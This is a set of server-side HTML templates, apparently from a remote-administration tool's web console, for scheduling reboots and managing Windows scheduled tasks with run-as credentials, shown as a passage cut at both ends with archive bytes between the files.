if ( tds.item(i).id.substring(0,3) == "set" )
winShow( tds.item(i).id, (tds.item(i).id.substring(3,4) == selset) );
}
}
</script>

<?
usemacro WINERRDLG()
if not WINERRNUM
if REQ.OP
redirect "/restart.html"
endif
endif
?>
<div class="window">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText"><?&ADMIN.REBOOT.TITLE?></span></div>
<?if not UI="secrem"?>
<div id="toolBar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%ADMIN.REBOOTAT.TITLE%&favicon=menu_manage.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>
<center>
<form name="sched" action="&TEMPLATE&" method="post">
<?if REBOOTAT.TIME?>
<fieldset><br><p>
&MSG.ADMIN.REBOOTAT.TIME&<br>
<?if REBOOTAT.FORCE?>&MSG.ADMIN.REBOOTAT.FORCED&<br><br><?endif?>
<?if REBOOTAT.USER?>&MSG.ADMIN.REBOOTAT.USER&<br><br><?endif?>
</p>
<input type="submit" value="&DIALOG.DELETE&" onclick="op.value='clr'">
<br><br></fieldset>
<br>
<?endif?>

<?action "timehelp" // set helper arrays?>
<?action "timeget" // get current time?>
<fieldset><legend><?&MSG.TYPE?></legend>

<select onchange="dispExcl(this.selectedIndex)" name="type" size=5>
<option value="0" <?selected REBOOTAT.TYPE="0"?>><?&MSG.ADMIN.SCHEDULE.TRIGGER.once?></option>
<option value="1" <?selected REBOOTAT.TYPE="1"?>><?&MSG.ADMIN.SCHEDULE.TRIGGER.daily?></option>
<option value="2" <?selected REBOOTAT.TYPE="2"?>><?&MSG.ADMIN.SCHEDULE.TRIGGER.weekly?></option>
<option value="3" <?selected REBOOTAT.TYPE="3"?>><?&MSG.ADMIN.SCHEDULE.TRIGGER.monthlyd?></option>
<option value="4" <?selected REBOOTAT.TYPE="4"?>><?&MSG.ADMIN.SCHEDULE.TRIGGER.monthlyw?></option>
</select>
</fieldset>
<br>
<fieldset><legend><?&MSG.ADMIN.SCHEDULE.Settings?></legend><br>
<div id="set0" class="subwindow" <?usemacro DIVSTYLE()?>>
<table width="100%"><tr>
<td width="40%" align="right">&MSG.ADMIN.TIME.DATE&:</td>
<td>
<input type="text" name="datey" style="width:4em" value="&REBOOTAT.DATE.Y&">
<select name="datem" size="1"><?enum MOY?><option value="&MOY.NN&" <?selected MOY.NN=REBOOTAT.DATE.M?>>&CAL:MOY.MON&<?next?></select>
<select name="dated" size="1"><?enum DOM?><option value="&DOM.NN&" <?selected DOM.NN=REBOOTAT.DATE.D?>>&DOM.NN&<?next?></select>
</td>
</tr></table>
</div>
<div id="set1" class="subwindow" <?usemacro DIVSTYLE()?>>
<table width="100%"><tr>
<td width="40%" align="right"><?&MSG.ADMIN.SCHEDULE.Every?></td>
<td>
<input type="text" name="daily" style="width:4em" value="<?if REBOOTAT.TYPE=1?>&REBOOTAT.FREQTEXT&<?else?>1<?endif?>"> <?&MSG.ADMIN.SCHEDULE.xdays?>
</td>
</tr></table>
</div>
<div id="set2" class="subwindow" <?usemacro DIVSTYLE()?>>
<table width="100%"><tr>
<td width="35%" align="right"><?&MSG.ADMIN.SCHEDULE.Every?></td>
<td><label for="sun2"><input type="checkbox" id="sun2" name="sun2" <?checked REBOOTAT.FREQTEXT has "Sun"?>>&CAL.Sun&</label></td>
<td><label for="mon2"><input type="checkbox" id="mon2" name="mon2" <?checked REBOOTAT.FREQTEXT has "Mon"?>>&CAL.Mon&</label></td>
<td><label for="tue2"><input type="checkbox" id="tue2" name="tue2" <?checked REBOOTAT.FREQTEXT has "Tue"?>>&CAL.Tue&</label></td>
<td><label for="wed2"><input type="checkbox" id="wed2" name="wed2" <?checked REBOOTAT.FREQTEXT has "Wed"?>>&CAL.Wed&</label></td>
<td><label for="thu2"><input type="checkbox" id="thu2" name="thu2" <?checked REBOOTAT.FREQTEXT has "Thu"?>>&CAL.Thu&</label></td>
<td><label for="fri2"><input type="checkbox" id="fri2" name="fri2" <?checked REBOOTAT.FREQTEXT has "Fri"?>>&CAL.Fri&</label></td>
<td><label for="sat2"><input type="checkbox" id="sat2" name="sat2" <?checked REBOOTAT.FREQTEXT has "Sat"?>>&CAL.Sat&</label></td>
<td width="35%"></td>
</tr></table>
</div>
<div id="set3" class="subwindow" <?usemacro DIVSTYLE()?>>
<table width="100%" height="50px">
<tr>
<td nowrap width="35%" align="right"><?&MSG.ADMIN.SCHEDULE.Every?></td>
<td nowrap><label for="d01"><input type="checkbox" id="d01" name="d01" <?checked REBOOTAT.FREQTEXT has "01"?>>01</label></td>
<td nowrap><label for="d02"><input type="checkbox" id="d02" name="d02" <?checked REBOOTAT.FREQTEXT has "02"?>>02</label></td>
<td nowrap><label for="d03"><input type="checkbox" id="d03" name="d03" <?checked REBOOTAT.FREQTEXT has "03"?>>03</label></td>
<td nowrap><label for="d04"><input type="checkbox" id="d04" name="d04" <?checked REBOOTAT.FREQTEXT has "04"?>>04</label></td>
<td nowrap><label for="d05"><input type="checkbox" id="d05" name="d05" <?checked REBOOTAT.FREQTEXT has "05"?>>05</label></td>
<td nowrap><label for="d06"><input type="checkbox" id="d06" name="d06" <?checked REBOOTAT.FREQTEXT has "06"?>>06</label></td>
<td nowrap><label for="d07"><input type="checkbox" id="d07" name="d07" <?checked REBOOTAT.FREQTEXT has "07"?>>07</label></td>
<td nowrap><label for="d08"><input type="checkbox" id="d08" name="d08" <?checked REBOOTAT.FREQTEXT has "08"?>>08</label></td>
<td nowrap><label for="d09"><input type="checkbox" id="d09" name="d09" <?checked REBOOTAT.FREQTEXT has "09"?>>09</label></td>
<td nowrap><label for="d10"><input type="checkbox" id="d10" name="d10" <?checked REBOOTAT.FREQTEXT has "10"?>>10</label></td>
<td nowrap>&nbsp;</td>
<td nowrap width="35%"></td>
</tr>
<tr>
<td nowrap>&nbsp;</td>
<td nowrap><label for="d11"><input type="checkbox" id="d11" name="d11" <?checked REBOOTAT.FREQTEXT has "11"?>>11</label></td>
<td nowrap><label for="d12"><input type="checkbox" id="d12" name="d12" <?checked REBOOTAT.FREQTEXT has "12"?>>12</label></td>
<td nowrap><label for="d13"><input type="checkbox" id="d13" name="d13" <?checked REBOOTAT.FREQTEXT has "13"?>>13</label></td>
<td nowrap><label for="d14"><input type="checkbox" id="d14" name="d14" <?checked REBOOTAT.FREQTEXT has "14"?>>14</label></td>
<td nowrap><label for="d15"><input type="checkbox" id="d15" name="d15" <?checked REBOOTAT.FREQTEXT has "15"?>>15</label></td>
<td nowrap><label for="d16"><input type="checkbox" id="d16" name="d16" <?checked REBOOTAT.FREQTEXT has "16"?>>16</label></td>
<td nowrap><label for="d17"><input type="checkbox" id="d17" name="d17" <?checked REBOOTAT.FREQTEXT has "17"?>>17</label></td>
<td nowrap><label for="d18"><input type="checkbox" id="d18" name="d18" <?checked REBOOTAT.FREQTEXT has "18"?>>18</label></td>
<td nowrap><label for="d19"><input type="checkbox" id="d19" name="d19" <?checked REBOOTAT.FREQTEXT has "19"?>>19</label></td>
<td nowrap><label for="d20"><input type="checkbox" id="d20" name="d20" <?checked REBOOTAT.FREQTEXT has "20"?>>20</label></td>
<td nowrap>&nbsp;</td>
<td nowrap width="35%"></td>
</tr>
<tr>
<td nowrap>&nbsp;</td>
<td nowrap><label for="d21"><input type="checkbox" id="d21" name="d21" <?checked REBOOTAT.FREQTEXT has "21"?>>21</label></td>
<td nowrap><label for="d22"><input type="checkbox" id="d22" name="d22" <?checked REBOOTAT.FREQTEXT has "22"?>>22</label></td>
<td nowrap><label for="d23"><input type="checkbox" id="d23" name="d23" <?checked REBOOTAT.FREQTEXT has "23"?>>23</label></td>
<td nowrap><label for="d24"><input type="checkbox" id="d24" name="d24" <?checked REBOOTAT.FREQTEXT has "24"?>>24</label></td>
<td nowrap><label for="d25"><input type="checkbox" id="d25" name="d25" <?checked REBOOTAT.FREQTEXT has "25"?>>25</label></td>
<td nowrap><label for="d26"><input type="checkbox" id="d26" name="d26" <?checked REBOOTAT.FREQTEXT has "26"?>>26</label></td>
<td nowrap><label for="d27"><input type="checkbox" id="d27" name="d27" <?checked REBOOTAT.FREQTEXT has "27"?>>27</label></td>
<td nowrap><label for="d28"><input type="checkbox" id="d28" name="d28" <?checked REBOOTAT.FREQTEXT has "28"?>>28</label></td>
<td nowrap><label for="d29"><input type="checkbox" id="d29" name="d29" <?checked REBOOTAT.FREQTEXT has "29"?>>29</label></td>
<td nowrap><label for="d30"><input type="checkbox" id="d30" name="d30" <?checked REBOOTAT.FREQTEXT has "30"?>>30</label></td>
<td nowrap><label for="d31"><input type="checkbox" id="d31" name="d31" <?checked REBOOTAT.FREQTEXT has "31"?>>31</label></td>
<td nowrap width="35%"></td>
</tr>
</table>
</div>
<div id="set4" class="subwindow" <?usemacro DIVSTYLE()?>>
<table width="100%">
<tr>
<td width="35%" align="right"><?&MSG.ADMIN.SCHEDULE.WOM.TITLE?>:</td>
<td colspan=7>
<select name="week">
<option value="0" <?selected REBOOTAT.FREQTEXT has "FIRST"?>>&MSG.ADMIN.SCHEDULE.WOM.1&</option>
<option value="1" <?selected REBOOTAT.FREQTEXT has "LAST"?> >&MSG.ADMIN.SCHEDULE.WOM.5&</option>
</select> <?&MSG.ADMIN.SCHEDULE.WOM.DESCR?></td>
<td width="35%"></td>
</tr>
<tr>
<td width="35%"></td>
<td><label for="sun4"><input type="checkbox" id="sun4" name="sun4" value="1" <?checked REBOOTAT.FREQTEXT has "Sun"?>>&CAL.Sun&</label></td>
<td><label for="mon4"><input type="checkbox" id="mon4" name="mon4" value="1" <?checked REBOOTAT.FREQTEXT has "Mon"?>>&CAL.Mon&</label></td>
<td><label for="tue4"><input type="checkbox" id="tue4" name="tue4" value="1" <?checked REBOOTAT.FREQTEXT has "Tue"?>>&CAL.Tue&</label></td>
<td><label for="wed4"><input type="checkbox" id="wed4" name="wed4" value="1" <?checked REBOOTAT.FREQTEXT has "Wed"?>>&CAL.Wed&</label></td>
<td><label for="thu4"><input type="checkbox" id="thu4" name="thu4" value="1" <?checked REBOOTAT.FREQTEXT has "Thu"?>>&CAL.Thu&</label></td>
<td><label for="fri4"><input type="checkbox" id="fri4" name="fri4" value="1" <?checked REBOOTAT.FREQTEXT has "Fri"?>>&CAL.Fri&</label></td>
<td><label for="sat4"><input type="checkbox" id="sat4" name="sat4" value="1" <?checked REBOOTAT.FREQTEXT has "Sat"?>>&CAL.Sat&</label></td>
<td width="35%"></td>
</tr>
</table>
</div>
<br><br><br><br><br>
<table><tr>
<td align="right" width="35%">&MSG.ADMIN.TIME.TITLE&:</td>
<td>
<?if REBOOTAT.TIME?>
<select name="timeh" size="1"><?enum HOD?><option <?selected HOD.HH=REBOOTAT.TIME.H?>>&HOD.HH&<?next?></select>
:
<select name="timem" size="1"><?enum MOH?><option <?selected MOH.MM=REBOOTAT.TIME.M?>>&MOH.MM&<?next?></select>
<?else?>
<select name="timeh" size="1"><?enum HOD?><option <?selected HOD.HH=TIME.H?>>&HOD.HH&<?next?></select>
:
<select name="timem" size="1"><?enum MOH?><option <?selected MOH.MM=TIME.M?>>&MOH.MM&<?next?></select>
<?endif?>
</td>
</tr>
<tr>
<td align="right"><label for="force">&MSG.ADMIN.REBOOTAT.FORCE&:</label></td>
<td><?endif?><input type="checkbox" id="force" name="force" <?checked REBOOTAT.FORCE?> value="1"></td>
</tr>
</table>
<br>
</fieldset><br>
<br>

<input type="hidden" name="op" value="set">
<input type="submit" value="&DIALOG.APPLY&">
<input type="button" value="&DIALOG.BACK&" onclick="history.back()">

</form>
</center>
</div>

</body>
</html>
("restartatPDA.html
<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<?	action "rebootat"?>
<body <?if LORES?>class="window"<?endif?> onload="dispExcl(&REBOOTAT.TYPE&)">

<div class="titleBar"><img src=<?if UI="secrem"?>"img/ico_Rebootat.png?bg=%COLOR.DlgBack%"<?else?>"img/menu_manage.png?bg=%COLOR.CapBack%"<?endif?> align="absmiddle">&nbsp;<?&ADMIN.REBOOT.TITLE?></div>
<center>
<form action="restartAt.html" method="post">

<?action "timehelp" // set helper arrays?>
<?action "timeget" // get current time?>

<?if REQ.Type=0?>
<table width="100%"><tr>
<td width="40%" align="right">&MSG.ADMIN.TIME.DATE&:</td>
<td>
<input type="text" name="datey" size=4 value="&DATE.Y&">
<select name="datem" size="1"><?enum MOY?><option value="&MOY.NN&" <?selected MOY.NN=DATE.M?>>&CAL:MOY.MON&<?next?></select>
<select name="dated" size="1"><?enum DOM?><option value="&DOM.NN&" <?selected DOM.NN=DATE.D?>>&DOM.NN&<?next?></select>
</td>
</tr></table>
<?endif?>
<?if REQ.Type=1?>
<table width="100%"><tr>
<td width="40%" align="right"><?&MSG.ADMIN.SCHEDULE.Every?></td>
<td>
<input type="text" name="daily" size=3 value="<?if REBOOTAT.TYPE=1?>&REBOOTAT.FREQTEXT&<?else?>1<?endif?>"> <?&MSG.ADMIN.SCHEDULE.xdays?>
</td>
</tr></table></center>
<?endif?>
<?if REQ.Type=2?>
<br>
<table><tr>
<td align="right" rowspan=4><?&MSG.ADMIN.SCHEDULE.Every?></td>
<td><input type="checkbox" name="sun2" <?checked REBOOTAT.FREQTEXT has "Sun"?>>&CAL.Sun&</td>
<td><input type="checkbox" name="mon2" <?checked REBOOTAT.FREQTEXT has "Mon"?>>&CAL.Mon&</td>
<td><input type="checkbox" name="tue2" <?checked REBOOTAT.FREQTEXT has "Tue"?>>&CAL.Tue&</td>
<td><input type="checkbox" name="wed2" <?checked REBOOTAT.FREQTEXT has "Wed"?>>&CAL.Wed&</td></tr>
<tr><td><input type="checkbox" name="thu2" <?checked REBOOTAT.FREQTEXT has "Thu"?>>&CAL.Thu&</td>
<td><input type="checkbox" name="fri2" <?checked REBOOTAT.FREQTEXT has "Fri"?>>&CAL.Fri&</td>
<td><input type="checkbox" name="sat2" <?checked REBOOTAT.FREQTEXT has "Sat"?>>&CAL.Sat&</td>
</tr></table>
</div>
<?endif?>
<?if REQ.Type=3?>
<table width="100%"><tr>
<tr><td width="35%" align="right"><?&MSG.ADMIN.SCHEDULE.Every?></td></tr>
<tr>
<td><label for="d01"><input type="checkbox" id="d01" name="d01" <?checked REBOOTAT.FREQTEXT has "01"?>>01</label></td>
<td><label for="d02"><input type="checkbox" id="d02" name="d02" <?checked REBOOTAT.FREQTEXT has "02"?>>02</label></td>
<td><label for="d03"><input type="checkbox" id="d03" name="d03" <?checked REBOOTAT.FREQTEXT has "03"?>>03</label></td>
<td><label for="d04"><input type="checkbox" id="d04" name="d04" <?checked REBOOTAT.FREQTEXT has "04"?>>04</label></td>
<td><label for="d05"><input type="checkbox" id="d05" name="d05" <?checked REBOOTAT.FREQTEXT has "05"?>>05</label></td>
<td><label for="d06"><input type="checkbox" id="d06" name="d06" <?checked REBOOTAT.FREQTEXT has "06"?>>06</label></td>
<td><label for="d07"><input type="checkbox" id="d07" name="d07" <?checked REBOOTAT.FREQTEXT has "07"?>>07</label></td>
<td><label for="d08"><input type="checkbox" id="d08" name="d08" <?checked REBOOTAT.FREQTEXT has "08"?>>08</label></td>
</tr>
<tr>
<td><label for="d09"><input type="checkbox" id="d09" name="d09" <?checked REBOOTAT.FREQTEXT has "09"?>>09</label></td>
<td><label for="d10"><input type="checkbox" id="d10" name="d10" <?checked REBOOTAT.FREQTEXT has "10"?>>10</label></td>
<td><label for="d11"><input type="checkbox" id="d11" name="d11" <?checked REBOOTAT.FREQTEXT has "11"?>>11</label></td>
<td><label for="d12"><input type="checkbox" id="d12" name="d12" <?checked REBOOTAT.FREQTEXT has "12"?>>12</label></td>
<td><label for="d13"><input type="checkbox" id="d13" name="d13" <?checked REBOOTAT.FREQTEXT has "13"?>>13</label></td>
<td><label for="d14"><input type="checkbox" id="d14" name="d14" <?checked REBOOTAT.FREQTEXT has "14"?>>14</label></td>
<td><label for="d15"><input type="checkbox" id="d15" name="d15" <?checked REBOOTAT.FREQTEXT has "15"?>>15</label></td>
<td><label for="d16"><input type="checkbox" id="d16" name="d16" <?checked REBOOTAT.FREQTEXT has "16"?>>16</label></td>
</tr>
<tr>
<td><label for="d17"><input type="checkbox" id="d17" name="d17" <?checked REBOOTAT.FREQTEXT has "17"?>>17</label></td>
<td><label for="d18"><input type="checkbox" id="d18" name="d18" <?checked REBOOTAT.FREQTEXT has "18"?>>18</label></td>
<td><label for="d19"><input type="checkbox" id="d19" name="d19" <?checked REBOOTAT.FREQTEXT has "19"?>>19</label></td>
<td><label for="d20"><input type="checkbox" id="d20" name="d20" <?checked REBOOTAT.FREQTEXT has "20"?>>20</label></td>
<td><label for="d21"><input type="checkbox" id="d21" name="d21" <?checked REBOOTAT.FREQTEXT has "21"?>>21</label></td>
<td><label for="d22"><input type="checkbox" id="d22" name="d22" <?checked REBOOTAT.FREQTEXT has "22"?>>22</label></td>
<td><label for="d23"><input type="checkbox" id="d23" name="d23" <?checked REBOOTAT.FREQTEXT has "23"?>>23</label></td>
<td><label for="d24"><input type="checkbox" id="d24" name="d24" <?checked REBOOTAT.FREQTEXT has "24"?>>24</label></td>
</tr>
<tr>
<td><label for="d25"><input type="checkbox" id="d25" name="d25" <?checked REBOOTAT.FREQTEXT has "25"?>>25</label></td>
<td><label for="d26"><input type="checkbox" id="d26" name="d26" <?checked REBOOTAT.FREQTEXT has "26"?>>26</label></td>
<td><label for="d27"><input type="checkbox" id="d27" name="d27" <?checked REBOOTAT.FREQTEXT has "27"?>>27</label></td>
<td><label for="d28"><input type="checkbox" id="d28" name="d28" <?checked REBOOTAT.FREQTEXT has "28"?>>28</label></td>
<td><label for="d29"><input type="checkbox" id="d29" name="d29" <?checked REBOOTAT.FREQTEXT has "29"?>>29</label></td>
<td><label for="d30"><input type="checkbox" id="d30" name="d30" <?checked REBOOTAT.FREQTEXT has "30"?>>30</label></td>
<td><label for="d31"><input type="checkbox" id="d31" name="d31" <?checked REBOOTAT.FREQTEXT has "31"?>>31</label></td>
</tr>
</table>
<?endif?>
<?if REQ.Type=4?>
<table><tr>
<tr>
<td align="right"><?&MSG.ADMIN.SCHEDULE.WOM.TITLE?>:</td>
<td colspan=4>
<select name="week">
<option value="0" <?selected REBOOTAT.FREQTEXT has "FIRST"?>>&MSG.ADMIN.SCHEDULE.WOM.1&</option>
<option value="1" <?selected REBOOTAT.FREQTEXT has "LAST"?> >&MSG.ADMIN.SCHEDULE.WOM.5&</option>
</select> <?&MSG.ADMIN.SCHEDULE.WOM.DESCR?></td>
</tr>
<tr><td><br></td></tr>
<tr>
<td><label for="sun4"><input type="checkbox" id="sun4" name="sun4" value="1" <?checked REBOOTAT.FREQTEXT has "Sun"?>>&CAL.Sun&</label></td>
<td><label for="mon4"><input type="checkbox" id="mon4" name="mon4" value="1" <?checked REBOOTAT.FREQTEXT has "Mon"?>>&CAL.Mon&</label></td>
<td><label for="tue4"><input type="checkbox" id="tue4" name="tue4" value="1" <?checked REBOOTAT.FREQTEXT has "Tue"?>>&CAL.Tue&</label></td>
<td><label for="wed4"><input type="checkbox" id="wed4" name="wed4" value="1" <?checked REBOOTAT.FREQTEXT has "Wed"?>>&CAL.Wed&</label></td></tr>
<tr><td><label for="thu4"><input type="checkbox" id="thu4" name="thu4" value="1" <?checked REBOOTAT.FREQTEXT has "Thu"?>>&CAL.Thu&</label></td>
<td><label for="fri4"><input type="checkbox" id="fri4" name="fri4" value="1" <?checked REBOOTAT.FREQTEXT has "Fri"?>>&CAL.Fri&</label></td>
<td><label for="sat4"><input type="checkbox" id="sat4" name="sat4" value="1" <?checked REBOOTAT.FREQTEXT has "Sat"?>>&CAL.Sat&</label></td>
</tr>
</table>
<?endif?>
<center>
<br><br>
<input type="hidden" name="type"  value="&REQ.Type&">
<input type="hidden" name="force" value="&REQ.Force&">
<input type="hidden" name="timeh" value="&REQ.Timeh&">
<input type="hidden" name="timem" value="&REQ.Timem&">
<input type="hidden" name="op" value="set">
<input type="submit" value="&DIALOG.APPLY&">
<input type="button" value="&DIALOG.BACK&" onclick="history.back()">
</center>
</form>
</center>

</body>
</html>
G#Ösched.html<<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>
<?include "table.inc"?>
</head>

<body>
<?
if REQ.DEL = "task"
action "taskdel"
usemacro WINERRDLG()
endif
action "tasklist"
?>

<script language="JavaScript">
var	i = 1;
var	jobs = new Array();
var tips = new Array();
<?enum TASKS?>
jobs[i] = "$TASK.NAME$";
tips[i] = "<b>$MSG.ADMIN.PROCESS.COMMAND$:</b> $TASK.APP.PATH$ $TASK.APP.ARGS$<br><?if ISNT?><b>$MSG.ADMIN.SCHEDULE.RUNAS$:</b> $TASK.APP.USER$<br><?endif?><b>$MSG.ADMIN.SCHEDULE.SCHED$:</b> $TASK.SCHEDULE$<br><b>$MSG.ADMIN.SCHEDULE.LASTRUN$:</b> <?$TASK.LASTRUN_ago?><br><b>$MSG.ADMIN.SCHEDULE.NEXTRUN$:</b> <?$TASK.NEXTRUN_in?><br><b>$MSG.ADMIN.SCHEDULE.COMMENT$:</b> $TASK.COMMENT$<br><b>$MSG.ADMIN.SCHEDULE.TRIGGERS$:</b> $TASK.TRIGGERS$"; 
i++;
<?next?>
var trows = null;
function getJob() {
var sel = trows.getSelectedIndexes();
if (sel.length > 0)
return(jobs[sel[0]]);
return null;
}
function chkToolbar() {
document.images["tooldel"].src="img/ico_delete.gif"; 
document.images["toolatr"].src="img/ico_prop.gif"; 
}
function doClick() {
var job = getJob();
if (job != null ) {
window.location = "schedinfo.html?task=" + escape(job);
}
}
function doCreate() {
window.location = "schedinfo.html?new=1&name=Task" + (jobs.length > 0 ? jobs.length : 1) + "&$RND$";
}
function doDelete() {
var task = getJob();
if (task != null && confirm('$DIALOG.Makesure$')) {
window.location = "$TEMPLATE$?del=task&task=" + escape(task);
}
}
</script>

<div class="window">
<div class="titleBar"><?usemacro TITLEICON("schedule")?><span class="titleText"><?&MSG.ADMIN.SCHEDULE.TITLE?></span></div>

<!-- TOOLBAR -->
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.ADMIN.SCHEDULE.TITLE%&favicon=menu_schedule.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif"   border="0" title="&DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<img src="img/ico_newdoc.gif" onclick="doCreate()" border="0" title="&MSG.ADMIN.SCHEDULE.CREATE&" style="cursor.hover:hand">
<img id="toolatr" onclick="doClick()"  src="img/ico_prop_off.gif" title="&DRIVE.TIP.EDITATTR&" border="0">
<img id="tooldel" onclick="doDelete()" src="img/ico_delete_off.gif" border="0" title="<?&DIALOG.DELETE?>" style="cursor.hover:hand">
</div>
</div>
<br>
<table id="tlist" class="inner" align=center>

<?if TASKS > 0?>
<thead>
<tr>
<th><?&MSG.NAME?></th>
<th><?&MSG.PATH?></th>
<th><?&MSG.ADMIN.SCHEDULE.LASTRUN?></th>
<th><?&MSG.ADMIN.SCHEDULE.NEXTRUN?></th>
<th><?&MSG.ADMIN.SCHEDULE.Status?></th>
<th><?&MSG.ADMIN.SCHEDULE.Exit?></th>
<th><?&MSG.ADMIN.SCHEDULE.Creator?></th>
</tr>
</thead>
<tbody>
<?enum TASKS?>
<tr onclick="chkToolbar()" ondblclick="doClick()" 
onmouseover="showTip(event,tips[&ENUM.INDEX&],false,'TR')" 
<?if not TASK.ENABLED?>style="text-decoration: line-through;"<?endif?>>
<td><?&TASK.NAME?></td>
<td><?&TASK.APP.PATH?></td>
<td nowrap><?&TASK.LASTRUN _dtms?></td>
<td nowrap><?&TASK.NEXTRUN _dtms?></td>
<td nowrap><?&TASK.STATUS?></td>
<td class="num"><?&TASK.EXITCODE?></td>
<td nowrap><?&TASK.CREATOR?></td>
</tr>
<?next?>
</tbody>
<?else?>
<? set DISPLAYNOTICE = "1"?>
<?endif?>

</table>
<script type="text/javascript">
// SELECTABLE TABLE OBJECT
trows = new SelectableTableRows(document.getElementById("tlist"), false);
</script>

<? if DISPLAYNOTICE ?>
<fieldset align=center>
<table width="100%" align=center border=0><tr><td align="center">
<font color="<?&COLOR.Link?>"><?&MSG.ADMIN.SCHEDULE.NOTASKS?></font><BR>
</td></tr></table>
</fieldset>
<?endif?>

<?
set REQ.SVC = "Schedule"
if REQ.CTRL
action "svcctrl"
usemacro WINERRDLG()
endif
// request info about the scheduler service
action "svcinfo"
if SERVICE.ACCEPT has "start"
?>
<fieldset><legend>&SERVICE.DISPLAY&</legend>
<?&MSG.ADMIN.SCHEDULE.SVCNOTE?>
<a href="&TEMPLATE&?ctrl=start"><img src="img/ico_start.gif" border="0" title="&MSG.ADMIN.SERVICE.TIP.START&"></a>
</fieldset>
<?endif?>
<br><br>
</div>

</body>
</html>
hschedinfo.html)Y<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "passsave.inc"?>
<?include "tabs.inc"?>
<?include "tooltip.inc"?>
<?include "dirtree.inc"?>
<script type="text/javascript" src="js/window.js"></script>
<script type="text/javascript">
var submitForm = "";
var submitAction = "";

function showCredentialsDialogIfNeeded(formname, action)
{
submitForm = formname;
submitAction = (typeof(action) == "undefined" ? "" : action);

<?if FALSE?>
// need to request credentials if:
// - not onlyifon
// - runas user on the sched formis different than current user.
// There should possibly be some kind of privilege check, because the password may still not be needed, TODO if possible (would require getting user info on the fly, not trivial).
<?endif ?>
var currentUser = "$USERNAME$";
if (!document.forms.sched.onlyifon.checked || document.forms.sched.user.value.toLowerCase() != currentUser.toLowerCase())
{
winShow("CredentialsDlg");

document.getElementById("runas_user").value = document.forms.sched.user.value;
if (document.forms.sched.user.value)
{
document.getElementById("runas_pass").focus();
}
else
{
document.getElementById("runas_user").focus();
}
}
else
{   
if (document.forms[submitForm] != "undefined")
{
if (submitAction != "") document.forms[submitForm].action.value = submitAction;
submitWithCredentials(false);
}
}
}

function submitWithCredentials(fromdialog)
{
var form = document.forms[submitForm];
if (typeof(form) != "undefined")
{
if (submitAction != "") form.action.value = submitAction;

if (fromdialog)
{
// credentials via credentials dialog
form.user.value = document.getElementById("runas_user").value;
form.pass.value = document.getElementById("runas_pass").value;
form.pass2.value = document.getElementById("runas_pass").value;
}
else
{
// no credentials dialog, use value on the sched form page
form.user.value = document.forms.sched.user.value;
}
}
form.submit();
}
</script>
</head>

<body>
<?
if REQ.CANCEL
redirect "/sched.html"
endif

if REQ.DELETE
set REQ.ACTION = "del"
endif

switch REQ.ACTION
case "create"
action "taskadd"
// edit triggers after successful creation
if not WINERRMSG
set REQ.TAB1 = "2"
endif
case "update"
action "taskadd"
if not WINERRMSG
redirect "/sched.html"
endif
case "add"
action "trigadd"
case "del"
action "trigdel"
case "set"
action "trigset"
endswitch
usemacro WINERRDLG()

if REQ.TASK
action "taskinfo"
usemacro WINERRDLG()
endif
?>

<div class="tabwindow">
<div class="titleBar"><?usemacro TITLEICON("schedule")?><span class="titleText"><?&MSG.ADMIN.SCHEDULE.TITLE?></span></div>

<div class="tab-pane" id="tabPane1">

<div id="CredentialsDlg" class="subwindow" style="left:5%;top:80px;width:50%;height:auto;">
<div class="titleBar"><?usemacro TITLEICON("schedule")?><span class="titleText"><?&MSG.ADMIN.SCHEDULE.TITLE?></span></div>
<table style="margin:30px;">
<tr>
<td colspan="2"><?&MSG.ADMIN.SCHEDULE.CREDENTIALREQUEST?><br /><br /></td>
</tr>
<tr>
<td><?&MSG.ADMIN.SCHEDULE.Runas?>:</td>
<td><input id="runas_user" type="text" name="name" size="50" value="<?if REQ.TASK?>&TASK.APP.USER&<?else?>&USERNAME&<?endif?>"></td>
</tr>
<tr>
<td><?&MSG.DIALOG.PWDENTRY?>:</td>
<td><input id="runas_pass" type="password" name="pass" size="50"></td>
</tr>
<tr>
<td></td>
<td>
<br /><br />
<input type="button" style="width: 80px;" name="submit" value="&MSG.DIALOG.OK&" onclick="submitWithCredentials(true);">
<input type="button" style="width: 80px;" value="&MSG.DIALOG.CANCEL&" onclick="winHide('CredentialsDlg');">
</td>
</tr>
</table>
</div>

<script type="text/javascript">
var tp1 = new RATabPane(document.getElementById("tabPane1"));
</script>

<form name="sched" action="&TEMPLATE&" method="post"<?if ISNT?> onsubmit="if (this.pass.value != this.pass2.value) { alert('$MSG.DIALOG.PWDMISMATCH$'); return false; } else { return true; }"<?endif?> style="display: inline">
<input type="hidden" name="action" value="<?if TASK.NAME?>update<?else?>create<?endif?>">
<?if ISVISTAORBETTER?>
<input type="hidden" name="pass" />
<input type="hidden" name="pass2" />
<?endif?>

<!-- OVERVIEW -->
<div class="tab-page" id="tabOverview">
<h2 class="tab">&nbsp;<?&MSG.ADMIN.SCHEDULE.Task?>&nbsp;</h2>
<script type="text/javascript">tp1.addTabPage(document.getElementById("tabOverview"));</script>
<center>
<fieldset><br><table>
<tr>
<td align="right"><?&MSG.NAME?>:</td>
<td><?if TASK.NAME?><?&TASK.NAME?><input type="hidden" name="task" value="&TASK.NAME&"><?else?><input type="text" name="task" value="&REQ.NAME&"><?endif?></td>
</tr>
<tr><td align="right"><?&MSG.ADMIN.SCHEDULE.Run    ?>:</td><td><input type="text" size=50 name="path"    value="&TASK.APP.PATH&"></td></tr>
